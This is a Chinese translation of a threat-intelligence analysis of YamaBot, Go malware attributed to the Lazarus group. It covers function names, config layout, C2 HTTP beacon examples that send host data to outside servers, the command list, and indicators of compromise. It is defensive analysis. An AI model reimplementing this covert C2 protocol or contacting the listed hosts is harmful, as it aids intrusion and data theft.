关键词:APT、恶意软件、漏洞、安全技术

1.YamaBot概述

近年来JPCERT/CC 正在不断调查攻击组织Lazarus的活动。在2021年度的CODE BLUE和HITCON上,JPCERT/CC的朝长秀诚发布了Lazarus的攻击活动分析报告,并确认了其中针对 Linux 操作系统的恶意软件 YamaBot。

YamaBot 是使用 Go 语言创建的、使用 HTTP 请求与 C2 服务器通信的恶意软件,在不同平台创建的恶意软件的功能略有不同。下面是针对 Windows 操作系统的样本中包含的恶意软件的函数名称列表(YamaBot 是攻击者自己命名的恶意软件)。

_/D_/Bot/YamaBot/utilities.BaseDecodeR

_/D_/Bot/YamaBot/utilities.HttpPostWithCookie

_/D_/Bot/YamaBot/utilities.HttpPostWithFile

_/D_/Bot/YamaBot/utilities.GetMacAddress

_/D_/Bot/YamaBot/utilities.GetHash

_/D_/Bot/YamaBot/utilities.GetCookieParams

_/D_/Bot/YamaBot/utilities.GetRndString

_/D_/Bot/YamaBot/utilities.BmpMaker

_/D_/Bot/YamaBot/utilities.createMutex

_/D_/Bot/YamaBot/utilities.CCheckkmutex

_/D_/Bot/YamaBot/utilities.CIpaddress

_/D_/Bot/YamaBot/utilities.COsname

_/D_/Bot/YamaBot/utilities.getOSVer

_/D_/Bot/YamaBot/utilities.Run

_/D_/Bot/YamaBot/utilities.Run.func1

_/D_/Bot/YamaBot/utilities.Run.func2

_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch

_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung

_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten

_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo

_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice

_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice

_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice

_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr

下面是针对 Linux 操作系统的样本中包含的恶意软件的函数名称列表,此处使用了一个叫Kaos的名字。

_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR

_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie

_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode

_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile

_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID

_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams

_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode

_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString

_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen

_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress

_/C_/Users/administrator/Downloads/kaos/utilities.Run

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice

_/C_/Users/administrator/Downloads/kaos/utilities.COsname

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice

_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr

_/C_/Users/administrator/Downloads/kaos/engine.NewEgg

恶意软件配置信息包括 RC4 密钥等(详细配置信息的详细信息见表1、表2)。配置信息与操作系统没有区别。

表1 配置信息列表 (x86)

偏移描述备注

0x000间隔通信间隔
0x004-

未使用
0x008C2服务器-

0x00CC2服务器长度

-
0x010RC4密钥

-
0x014RC4密钥长度-

0x018连接C2服务器是否成功连接到C2服务器
0x01CCookie标头值要在Cookie标头中设置的值
0x020-

未使用
0x024连接次数与C2服务器的重新连接次数

表2 配置信息列表 (x64)

偏移描述备注

0x000间隔通信间隔
0x008C2服务器-

0x010C2服务器长度

-
0x018RC4密钥

-
0x020RC4密钥长度-

0x028连接C2服务器是否成功连接到C2服务器
0x030Cookie标头值要在Cookie标头中设置的值
0x038-

未使用
0x040连接次数与C2服务器的重新连接次数

2.通信方式

YamaBot 使用 HTTP 请求与 C2 服务器通信。YamaBot发送的第一个 HTTP 开机自检请求如下。这是一个 HTTP 开机自检请求,但没有要发送的数据,其用户代理是 Base64 编码的。

POST /editor/session/aaa000/support.php HTTP/1.1

Host: 213.180.180.154

User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==

Connection: close

Content-Length: 0

Accept-Encoding: gzip

如果成功连接到 C2 服务器,则YamaBot 在 Cookie 标头中添加一些信息并发送。添加的信息包括随机生成的4 字节字符串和 16 字节RC4 密钥的Base64 编码。RC4密钥使用从以下数据生成的 MD5 值的前 16 个字节。

captcha_session中的内容:

  • 目标 Windows 操作系统:主机名、用户名、MAC 地址

  • 目标 Linux 操作系统:主机名、用户名

captcha_val中的内容:RC4 加密和 Base64 编码的终端信息和命令执行结果

POST /editor/session/aaa000/support.php HTTP/1.1

Host: 213.180.180.154

User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==

Connection: close

Content-Length: 0

Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ

Accept-Encoding: gzip

发送的第一个数据是操作系统信息和 IP 地址:

windows 6 amd64|[192.168.1.1]

linux 386|[192.168.1.1]

此外,如果发送的数据大小超过特定大小(确认3333字节,7000字节的示例),则将发送的数据模拟为多部分 BMP 数据。

POST /recaptcha.php HTTP/1.1

Host: www.karin-store.com

User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==

Connection: close

Content-Length: [Length]

Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb

Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D

Accept-Encoding: gzip

--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb

Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"

Content-Type: application/octet-stream

BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f

--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--

来自服务器的指令包含在set- Cookie 的标头中。指令包含在 RC4 加密(RC4 密钥使用恶意软件发送的数据)和 Base64 编码中,如下所示:

Set-Cookie: captcha_session=[Base64エンコードされた命令]

3. 命令

来自 C2 服务器的指令执行的命令因目标操作系统而异。Linux 操作系统的唯一目标是在 /bin/sh 上运行 shell 命令。另一方面,针对 Windows 操作系统的实现具有多个命令,如下所示:

  • dir: 获取文件列表

  • Mapfs: 获取目录列表

  • Download: 文件下载

  • Info: 文件路径,发送 PID

  • Sleep:休眠时间更改

  • Uninstall: 删除主机

  • i: 间隔时间更改

  • 其他:使用 shell 命令执行给定的字符串

格式要求上述命令包含在前半部分,可表示为:[命令][指令参数]

如果执行该命令,则发送命令执行结果,其中包含部分德语字符,目前尚不清楚在YamaBot中包含德语的原因。

图1 执行i命令时要发送的数据

4. 总结

YamaBot 是攻击者仍在使用的恶意软件。由于该恶意软件不仅针对 Windows 操作系统,还针对 Linux 操作系统,因此在调查事件时,应仔细调查服务器。日本国内当前也确认了多个Lazarus组织的攻击活动,今后应予以注意。

5. 攻击指标

通信地址:

  • http://[www].karin-store.com/recaptcha.php

  • http://[yo]shinorihirano.net/wp-includes/feed-xml.php

  • http://[213].180.180.154/editor/session/aaa000/support.php

恶意软件哈希值:

  • f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb

  • 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1

参考链接:https://blogs.jpcert.or.jp/ja/2022/06/yamabot.html

编辑|孙书樵

审校|何双泽、金矢

本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。

声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。